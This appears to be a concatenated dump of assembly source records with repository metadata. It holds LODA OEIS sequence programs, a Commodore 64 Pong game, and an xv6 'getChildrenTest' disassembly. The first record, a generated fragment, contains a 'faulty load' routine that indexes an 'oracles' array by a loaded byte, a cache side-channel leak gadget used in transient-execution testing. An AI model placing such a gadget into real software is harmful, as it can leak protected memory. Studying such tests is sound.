and $35223, %r13 mov $106, %rcx rep movsw nop nop nop nop dec %rsi lea addresses_WC_ht+0x16e1a, %r10 nop nop nop inc %rbx movb $0x61, (%r10) nop nop nop and $26565, %r8 lea addresses_WC_ht+0x1e452, %rbx nop nop nop nop nop xor $31136, %rsi mov (%rbx), %rdi nop nop nop nop and %r12, %r12 lea addresses_normal_ht+0x18efa, %rcx nop nop nop nop nop sub $8961, %r8 vmovups (%rcx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdi nop nop nop nop add $11406, %rcx lea addresses_UC_ht+0x154ba, %rsi lea addresses_WC_ht+0x7742, %rdi and %rbx, %rbx mov $76, %rcx rep movsl nop nop nop nop cmp $46404, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbp push %rdi push %rdx push %rsi // Store lea addresses_D+0x191a3, %rdi nop nop nop nop nop cmp $4909, %rsi mov $0x5152535455565758, %r12 movq %r12, %xmm5 vmovups %ymm5, (%rdi) nop nop nop nop sub %rdx, %rdx // Faulty Load lea addresses_US+0x105ba, %r14 nop nop nop add %rbp, %rbp mov (%r14), %rdx lea oracles, %r14 and $0xff, %rdx shlq $12, %rdx mov (%r14,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rbp pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'00': 138, '48': 9, '1a': 3, 'a2': 5, 'e0': 1, '47': 5} 00 00 00 00 00 00 00 00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 47 48 00 48 00 47 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 00 00 00 48 00 00 00 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a2 47 00 1a 47 00 a2 00 00 00 e0 00 1a 48 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a2 00 00 00 00 00 48 00 00 00 00 */
21.923423
482
0.649065
7d2c6eea07d07329441edc739718835ddf3cb54b
495
asm
Assembly
programs/oeis/003/A003992.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/003/A003992.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/003/A003992.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A003992: Square array read by upwards antidiagonals: T(n,k) = n^k for n >= 0, k >= 0. ; 1,1,0,1,1,0,1,2,1,0,1,3,4,1,0,1,4,9,8,1,0,1,5,16,27,16,1,0,1,6,25,64,81,32,1,0,1,7,36,125,256,243,64,1,0,1,8,49,216,625,1024,729,128,1,0,1,9,64,343,1296,3125,4096,2187,256,1,0,1,10,81,512,2401,7776,15625,16384,6561,512,1,0,1,11,100,729,4096,16807,46656,78125,65536,19683,1024,1,0,1,12,121,1000,6561,32768,117649,279936,390625 lpb $0 add $2,1 sub $0,$2 mov $1,$2 sub $1,$0 lpe pow $1,$0 mov $0,$1
41.25
327
0.644444
f063ac8a1e2052b71456c4847b0d7b7927e6dc7a
1,482
asm
Assembly
pong.asm
Fran4x/c64-pong
eb225f75826bc3fcf3ead38bae6b42379de15530
[ "MIT" ]
null
null
null
pong.asm
Fran4x/c64-pong
eb225f75826bc3fcf3ead38bae6b42379de15530
[ "MIT" ]
null
null
null
pong.asm
Fran4x/c64-pong
eb225f75826bc3fcf3ead38bae6b42379de15530
[ "MIT" ]
1
2019-03-13T19:18:57.000Z
2019-03-13T19:18:57.000Z
BasicUpstart2(start) *=$080f "Main Code" #import "input_handling.asm" #import "collision_detection.asm" #import "ball_direction_2.asm" #import "ball_move.asm" #import "delay.asm" #import "start_wait.asm" start: jsr $e544 //clears screen, built in sub-routine at this location // set colors of screen lda #BLACK sta $d021 lda #BLUE sta $d020 // lda collision_data jsr set_sprt jsr wait_for_key pre_loop: lda start_game bne start_music jmp pre_loop start_music: jsr init_music jsr set_irq loop: jsr delay jsr detect_collisions jsr set_directions jsr move_ball rts jmp loop set_irq: sei // turn off irq ldy #$7f // $7f = %01111111 sty $dc0d // Turn off CIAs Timer interrupts sty $dd0d // Turn off CIAs Timer interrupts lda $dc0d // cancel all CIA-IRQs in queue/unprocessed lda $dd0d // cancel all CIA-IRQs in queue/unprocessed lda #$01 sta $d01a // request rasterbeam irq lda #<irq ldx #>irq sta $314 stx $315 //store pointer to custom irq routine lda #$85 sta $d012 // set first 7 bits of raster line to generate irq at lda $d011 and #$7f sta $d011 // turn off 9th bit of raster line to generate irq at cli // turn irq on rts irq: dec $d019 // acknowledge IRQ jsr play jsr handle_input jmp $ea81 // return to kernel IRQ routine //must be imported last, as they create a memory block #import "music_player.asm" #import "sprite_config.asm"
14.529412
71
0.680837
96728588ec3b43dc8e5f130946a43dd108c22306
487
asm
Assembly
programs/oeis/078/A078181.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/078/A078181.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/078/A078181.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A078181: Sum_{d|n, d=1 mod 3} d. ; 1,1,1,5,1,1,8,5,1,11,1,5,14,8,1,21,1,1,20,15,8,23,1,5,26,14,1,40,1,11,32,21,1,35,8,5,38,20,14,55,1,8,44,27,1,47,1,21,57,36,1,70,1,1,56,40,20,59,1,15,62,32,8,85,14,23,68,39,1,88,1,5,74,38,26,100,8,14,80,71,1,83,1,40,86,44,1,115,1,11,112,51,32,95,20,21,98,57,1,140 add $0,1 mul $0,3 mov $2,$0 lpb $0 sub $0,2 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 add $1,$3 mov $4,1 lpe lpb $4 add $1,1 trn $4,6 lpe mov $0,$1
21.173913
264
0.558522
9229e4731d8eefa2a167201523cc9dc6ab2a0dd2
43,686
asm
Assembly
getChildrenTest.asm
via007/learnos-xv6
35caf795f71cef47320299ee2f990e5810e28836
[ "MIT-0" ]
1
2020-05-07T05:31:43.000Z
2020-05-07T05:31:43.000Z
getChildrenTest.asm
via007/learnos-xv6
35caf795f71cef47320299ee2f990e5810e28836
[ "MIT-0" ]
null
null
null
getChildrenTest.asm
via007/learnos-xv6
35caf795f71cef47320299ee2f990e5810e28836
[ "MIT-0" ]
null
null
null
_getChildrenTest: 文件格式 elf32-i386 Disassembly of section .text: 00000000 <main>: #include "types.h" #include "stat.h" #include "user.h" int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 8d 75 a8 lea -0x58(%ebp),%esi 12: 8d 7d e8 lea -0x18(%ebp),%edi 15: 53 push %ebx int runningProcessPID=getRunningProcessPID();//getRunningProcessPID is a system call which returns the PID of the running process . 16: 89 f3 mov %esi,%ebx { 18: 51 push %ecx 19: 83 ec 58 sub $0x58,%esp int runningProcessPID=getRunningProcessPID();//getRunningProcessPID is a system call which returns the PID of the running process . 1c: e8 90 03 00 00 call 3b1 <getRunningProcessPID> 21: 89 45 a4 mov %eax,-0x5c(%ebp) int PIDs[16]; for(int i=0;(i<16) && getRunningProcessPID()==runningProcessPID;++i) 24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 28: e8 84 03 00 00 call 3b1 <getRunningProcessPID> 2d: 3b 45 a4 cmp -0x5c(%ebp),%eax 30: 75 0f jne 41 <main+0x41> { PIDs[i]=fork(); 32: e8 c2 02 00 00 call 2f9 <fork> 37: 83 c3 04 add $0x4,%ebx 3a: 89 43 fc mov %eax,-0x4(%ebx) for(int i=0;(i<16) && getRunningProcessPID()==runningProcessPID;++i) 3d: 39 fb cmp %edi,%ebx 3f: 75 e7 jne 28 <main+0x28> } if(getRunningProcessPID()==runningProcessPID) 41: e8 6b 03 00 00 call 3b1 <getRunningProcessPID> 46: 3b 45 a4 cmp -0x5c(%ebp),%eax 49: 74 0e je 59 <main+0x59> } 4b: 8d 65 f0 lea -0x10(%ebp),%esp 4e: 31 c0 xor %eax,%eax 50: 59 pop %ecx 51: 5b pop %ebx 52: 5e pop %esi 53: 5f pop %edi 54: 5d pop %ebp 55: 8d 61 fc lea -0x4(%ecx),%esp 58: c3 ret printf(1,"===============================================================\nThe getChildren function result is:\n"); 59: 52 push %edx 5a: 52 push %edx 5b: 68 08 08 00 00 push $0x808 60: 6a 01 push $0x1 62: e8 39 04 00 00 call 4a0 <printf> getChildren(); 67: e8 3d 03 00 00 call 3a9 <getChildren> printf(1,"The main result is:\n"); 6c: 59 pop %ecx 6d: 5b pop %ebx 6e: 68 b4 08 00 00 push $0x8b4 73: 6a 01 push $0x1 75: e8 26 04 00 00 call 4a0 <printf> 7a: 83 c4 10 add $0x10,%esp 7d: 8d 76 00 lea 0x0(%esi),%esi printf(1,"%d\n",PIDs[i]); 80: 83 ec 04 sub $0x4,%esp 83: ff 36 pushl (%esi) 85: 83 c6 04 add $0x4,%esi 88: 68 c9 08 00 00 push $0x8c9 8d: 6a 01 push $0x1 8f: e8 0c 04 00 00 call 4a0 <printf> for(int i=0;i<16;++i) 94: 83 c4 10 add $0x10,%esp 97: 39 fe cmp %edi,%esi 99: 75 e5 jne 80 <main+0x80> printf(1,"===============================================================\n"); 9b: 50 push %eax 9c: 50 push %eax 9d: 68 70 08 00 00 push $0x870 a2: 6a 01 push $0x1 a4: e8 f7 03 00 00 call 4a0 <printf> a9: 83 c4 10 add $0x10,%esp ac: eb 9d jmp 4b <main+0x4b> ae: 66 90 xchg %ax,%ax 000000b0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { b0: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) b1: 31 d2 xor %edx,%edx { b3: 89 e5 mov %esp,%ebp b5: 53 push %ebx b6: 8b 45 08 mov 0x8(%ebp),%eax b9: 8b 5d 0c mov 0xc(%ebp),%ebx bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while((*s++ = *t++) != 0) c0: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx c4: 88 0c 10 mov %cl,(%eax,%edx,1) c7: 83 c2 01 add $0x1,%edx ca: 84 c9 test %cl,%cl cc: 75 f2 jne c0 <strcpy+0x10> ; return os; } ce: 5b pop %ebx cf: 5d pop %ebp d0: c3 ret d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi d8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi df: 90 nop 000000e0 <strcmp>: int strcmp(const char *p, const char *q) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 56 push %esi e4: 53 push %ebx e5: 8b 5d 08 mov 0x8(%ebp),%ebx e8: 8b 75 0c mov 0xc(%ebp),%esi while(*p && *p == *q) eb: 0f b6 13 movzbl (%ebx),%edx ee: 0f b6 0e movzbl (%esi),%ecx f1: 84 d2 test %dl,%dl f3: 74 1e je 113 <strcmp+0x33> f5: b8 01 00 00 00 mov $0x1,%eax fa: 38 ca cmp %cl,%dl fc: 74 09 je 107 <strcmp+0x27> fe: eb 20 jmp 120 <strcmp+0x40> 100: 83 c0 01 add $0x1,%eax 103: 38 ca cmp %cl,%dl 105: 75 19 jne 120 <strcmp+0x40> 107: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 10b: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx 10f: 84 d2 test %dl,%dl 111: 75 ed jne 100 <strcmp+0x20> 113: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; } 115: 5b pop %ebx 116: 5e pop %esi return (uchar)*p - (uchar)*q; 117: 29 c8 sub %ecx,%eax } 119: 5d pop %ebp 11a: c3 ret 11b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 11f: 90 nop 120: 0f b6 c2 movzbl %dl,%eax 123: 5b pop %ebx 124: 5e pop %esi return (uchar)*p - (uchar)*q; 125: 29 c8 sub %ecx,%eax } 127: 5d pop %ebp 128: c3 ret 129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000130 <strlen>: uint strlen(const char *s) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 136: 80 39 00 cmpb $0x0,(%ecx) 139: 74 15 je 150 <strlen+0x20> 13b: 31 d2 xor %edx,%edx 13d: 8d 76 00 lea 0x0(%esi),%esi 140: 83 c2 01 add $0x1,%edx 143: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 147: 89 d0 mov %edx,%eax 149: 75 f5 jne 140 <strlen+0x10> ; return n; } 14b: 5d pop %ebp 14c: c3 ret 14d: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 150: 31 c0 xor %eax,%eax } 152: 5d pop %ebp 153: c3 ret 154: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 15b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 15f: 90 nop 00000160 <memset>: void* memset(void *dst, int c, uint n) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 57 push %edi 164: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 167: 8b 4d 10 mov 0x10(%ebp),%ecx 16a: 8b 45 0c mov 0xc(%ebp),%eax 16d: 89 d7 mov %edx,%edi 16f: fc cld 170: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 172: 89 d0 mov %edx,%eax 174: 5f pop %edi 175: 5d pop %ebp 176: c3 ret 177: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 17e: 66 90 xchg %ax,%ax 00000180 <strchr>: char* strchr(const char *s, char c) { 180: 55 push %ebp 181: 89 e5 mov %esp,%ebp 183: 53 push %ebx 184: 8b 45 08 mov 0x8(%ebp),%eax 187: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 18a: 0f b6 18 movzbl (%eax),%ebx 18d: 84 db test %bl,%bl 18f: 74 1d je 1ae <strchr+0x2e> 191: 89 d1 mov %edx,%ecx if(*s == c) 193: 38 d3 cmp %dl,%bl 195: 75 0d jne 1a4 <strchr+0x24> 197: eb 17 jmp 1b0 <strchr+0x30> 199: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1a0: 38 ca cmp %cl,%dl 1a2: 74 0c je 1b0 <strchr+0x30> for(; *s; s++) 1a4: 83 c0 01 add $0x1,%eax 1a7: 0f b6 10 movzbl (%eax),%edx 1aa: 84 d2 test %dl,%dl 1ac: 75 f2 jne 1a0 <strchr+0x20> return (char*)s; return 0; 1ae: 31 c0 xor %eax,%eax } 1b0: 5b pop %ebx 1b1: 5d pop %ebp 1b2: c3 ret 1b3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000001c0 <gets>: char* gets(char *buf, int max) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 57 push %edi 1c4: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1c5: 31 f6 xor %esi,%esi { 1c7: 53 push %ebx 1c8: 89 f3 mov %esi,%ebx 1ca: 83 ec 1c sub $0x1c,%esp 1cd: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1d0: eb 2f jmp 201 <gets+0x41> 1d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1d8: 83 ec 04 sub $0x4,%esp 1db: 8d 45 e7 lea -0x19(%ebp),%eax 1de: 6a 01 push $0x1 1e0: 50 push %eax 1e1: 6a 00 push $0x0 1e3: e8 31 01 00 00 call 319 <read> if(cc < 1) 1e8: 83 c4 10 add $0x10,%esp 1eb: 85 c0 test %eax,%eax 1ed: 7e 1c jle 20b <gets+0x4b> break; buf[i++] = c; 1ef: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 1f3: 83 c7 01 add $0x1,%edi 1f6: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 1f9: 3c 0a cmp $0xa,%al 1fb: 74 23 je 220 <gets+0x60> 1fd: 3c 0d cmp $0xd,%al 1ff: 74 1f je 220 <gets+0x60> for(i=0; i+1 < max; ){ 201: 83 c3 01 add $0x1,%ebx 204: 89 fe mov %edi,%esi 206: 3b 5d 0c cmp 0xc(%ebp),%ebx 209: 7c cd jl 1d8 <gets+0x18> 20b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 20d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 210: c6 03 00 movb $0x0,(%ebx) } 213: 8d 65 f4 lea -0xc(%ebp),%esp 216: 5b pop %ebx 217: 5e pop %esi 218: 5f pop %edi 219: 5d pop %ebp 21a: c3 ret 21b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 21f: 90 nop 220: 8b 75 08 mov 0x8(%ebp),%esi 223: 8b 45 08 mov 0x8(%ebp),%eax 226: 01 de add %ebx,%esi 228: 89 f3 mov %esi,%ebx buf[i] = '\0'; 22a: c6 03 00 movb $0x0,(%ebx) } 22d: 8d 65 f4 lea -0xc(%ebp),%esp 230: 5b pop %ebx 231: 5e pop %esi 232: 5f pop %edi 233: 5d pop %ebp 234: c3 ret 235: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 23c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000240 <stat>: int stat(const char *n, struct stat *st) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 56 push %esi 244: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 245: 83 ec 08 sub $0x8,%esp 248: 6a 00 push $0x0 24a: ff 75 08 pushl 0x8(%ebp) 24d: e8 ef 00 00 00 call 341 <open> if(fd < 0) 252: 83 c4 10 add $0x10,%esp 255: 85 c0 test %eax,%eax 257: 78 27 js 280 <stat+0x40> return -1; r = fstat(fd, st); 259: 83 ec 08 sub $0x8,%esp 25c: ff 75 0c pushl 0xc(%ebp) 25f: 89 c3 mov %eax,%ebx 261: 50 push %eax 262: e8 f2 00 00 00 call 359 <fstat> close(fd); 267: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 26a: 89 c6 mov %eax,%esi close(fd); 26c: e8 b8 00 00 00 call 329 <close> return r; 271: 83 c4 10 add $0x10,%esp } 274: 8d 65 f8 lea -0x8(%ebp),%esp 277: 89 f0 mov %esi,%eax 279: 5b pop %ebx 27a: 5e pop %esi 27b: 5d pop %ebp 27c: c3 ret 27d: 8d 76 00 lea 0x0(%esi),%esi return -1; 280: be ff ff ff ff mov $0xffffffff,%esi 285: eb ed jmp 274 <stat+0x34> 287: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 28e: 66 90 xchg %ax,%ax 00000290 <atoi>: int atoi(const char *s) { 290: 55 push %ebp 291: 89 e5 mov %esp,%ebp 293: 53 push %ebx 294: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 297: 0f be 11 movsbl (%ecx),%edx 29a: 8d 42 d0 lea -0x30(%edx),%eax 29d: 3c 09 cmp $0x9,%al n = 0; 29f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 2a4: 77 1f ja 2c5 <atoi+0x35> 2a6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 2ad: 8d 76 00 lea 0x0(%esi),%esi n = n*10 + *s++ - '0'; 2b0: 83 c1 01 add $0x1,%ecx 2b3: 8d 04 80 lea (%eax,%eax,4),%eax 2b6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 2ba: 0f be 11 movsbl (%ecx),%edx 2bd: 8d 5a d0 lea -0x30(%edx),%ebx 2c0: 80 fb 09 cmp $0x9,%bl 2c3: 76 eb jbe 2b0 <atoi+0x20> return n; } 2c5: 5b pop %ebx 2c6: 5d pop %ebp 2c7: c3 ret 2c8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 2cf: 90 nop 000002d0 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 57 push %edi 2d4: 8b 55 10 mov 0x10(%ebp),%edx 2d7: 8b 45 08 mov 0x8(%ebp),%eax 2da: 56 push %esi 2db: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 2de: 85 d2 test %edx,%edx 2e0: 7e 13 jle 2f5 <memmove+0x25> 2e2: 01 c2 add %eax,%edx dst = vdst; 2e4: 89 c7 mov %eax,%edi 2e6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 2ed: 8d 76 00 lea 0x0(%esi),%esi *dst++ = *src++; 2f0: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 2f1: 39 fa cmp %edi,%edx 2f3: 75 fb jne 2f0 <memmove+0x20> return vdst; } 2f5: 5e pop %esi 2f6: 5f pop %edi 2f7: 5d pop %ebp 2f8: c3 ret 000002f9 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2f9: b8 01 00 00 00 mov $0x1,%eax 2fe: cd 40 int $0x40 300: c3 ret 00000301 <exit>: SYSCALL(exit) 301: b8 02 00 00 00 mov $0x2,%eax 306: cd 40 int $0x40 308: c3 ret 00000309 <wait>: SYSCALL(wait) 309: b8 03 00 00 00 mov $0x3,%eax 30e: cd 40 int $0x40 310: c3 ret 00000311 <pipe>: SYSCALL(pipe) 311: b8 04 00 00 00 mov $0x4,%eax 316: cd 40 int $0x40 318: c3 ret 00000319 <read>: SYSCALL(read) 319: b8 05 00 00 00 mov $0x5,%eax 31e: cd 40 int $0x40 320: c3 ret 00000321 <write>: SYSCALL(write) 321: b8 10 00 00 00 mov $0x10,%eax 326: cd 40 int $0x40 328: c3 ret 00000329 <close>: SYSCALL(close) 329: b8 15 00 00 00 mov $0x15,%eax 32e: cd 40 int $0x40 330: c3 ret 00000331 <kill>: SYSCALL(kill) 331: b8 06 00 00 00 mov $0x6,%eax 336: cd 40 int $0x40 338: c3 ret 00000339 <exec>: SYSCALL(exec) 339: b8 07 00 00 00 mov $0x7,%eax 33e: cd 40 int $0x40 340: c3 ret 00000341 <open>: SYSCALL(open) 341: b8 0f 00 00 00 mov $0xf,%eax 346: cd 40 int $0x40 348: c3 ret 00000349 <mknod>: SYSCALL(mknod) 349: b8 11 00 00 00 mov $0x11,%eax 34e: cd 40 int $0x40 350: c3 ret 00000351 <unlink>: SYSCALL(unlink) 351: b8 12 00 00 00 mov $0x12,%eax 356: cd 40 int $0x40 358: c3 ret 00000359 <fstat>: SYSCALL(fstat) 359: b8 08 00 00 00 mov $0x8,%eax 35e: cd 40 int $0x40 360: c3 ret 00000361 <link>: SYSCALL(link) 361: b8 13 00 00 00 mov $0x13,%eax 366: cd 40 int $0x40 368: c3 ret 00000369 <mkdir>: SYSCALL(mkdir) 369: b8 14 00 00 00 mov $0x14,%eax 36e: cd 40 int $0x40 370: c3 ret 00000371 <chdir>: SYSCALL(chdir) 371: b8 09 00 00 00 mov $0x9,%eax 376: cd 40 int $0x40 378: c3 ret 00000379 <dup>: SYSCALL(dup) 379: b8 0a 00 00 00 mov $0xa,%eax 37e: cd 40 int $0x40 380: c3 ret 00000381 <getpid>: SYSCALL(getpid) 381: b8 0b 00 00 00 mov $0xb,%eax 386: cd 40 int $0x40 388: c3 ret 00000389 <sbrk>: SYSCALL(sbrk) 389: b8 0c 00 00 00 mov $0xc,%eax 38e: cd 40 int $0x40 390: c3 ret 00000391 <sleep>: SYSCALL(sleep) 391: b8 0d 00 00 00 mov $0xd,%eax 396: cd 40 int $0x40 398: c3 ret 00000399 <uptime>: SYSCALL(uptime) 399: b8 0e 00 00 00 mov $0xe,%eax 39e: cd 40 int $0x40 3a0: c3 ret 000003a1 <printingMyFavoriteYear>: SYSCALL(printingMyFavoriteYear) 3a1: b8 16 00 00 00 mov $0x16,%eax 3a6: cd 40 int $0x40 3a8: c3 ret 000003a9 <getChildren>: SYSCALL(getChildren) 3a9: b8 17 00 00 00 mov $0x17,%eax 3ae: cd 40 int $0x40 3b0: c3 ret 000003b1 <getRunningProcessPID>: SYSCALL(getRunningProcessPID) 3b1: b8 18 00 00 00 mov $0x18,%eax 3b6: cd 40 int $0x40 3b8: c3 ret 000003b9 <changePolicy>: SYSCALL(changePolicy) 3b9: b8 19 00 00 00 mov $0x19,%eax 3be: cd 40 int $0x40 3c0: c3 ret 000003c1 <Quantum_Increaser>: SYSCALL(Quantum_Increaser) 3c1: b8 1a 00 00 00 mov $0x1a,%eax 3c6: cd 40 int $0x40 3c8: c3 ret 000003c9 <Quantum_Decreaser>: SYSCALL(Quantum_Decreaser) 3c9: b8 1b 00 00 00 mov $0x1b,%eax 3ce: cd 40 int $0x40 3d0: c3 ret 3d1: 66 90 xchg %ax,%ax 3d3: 66 90 xchg %ax,%ax 3d5: 66 90 xchg %ax,%ax 3d7: 66 90 xchg %ax,%ax 3d9: 66 90 xchg %ax,%ax 3db: 66 90 xchg %ax,%ax 3dd: 66 90 xchg %ax,%ax 3df: 90 nop 000003e0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 57 push %edi 3e4: 56 push %esi 3e5: 53 push %ebx uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 3e6: 89 d3 mov %edx,%ebx { 3e8: 83 ec 3c sub $0x3c,%esp 3eb: 89 45 bc mov %eax,-0x44(%ebp) if(sgn && xx < 0){ 3ee: 85 d2 test %edx,%edx 3f0: 0f 89 92 00 00 00 jns 488 <printint+0xa8> 3f6: f6 45 08 01 testb $0x1,0x8(%ebp) 3fa: 0f 84 88 00 00 00 je 488 <printint+0xa8> neg = 1; 400: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp) x = -xx; 407: f7 db neg %ebx } else { x = xx; } i = 0; 409: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 410: 8d 75 d7 lea -0x29(%ebp),%esi 413: eb 08 jmp 41d <printint+0x3d> 415: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 418: 89 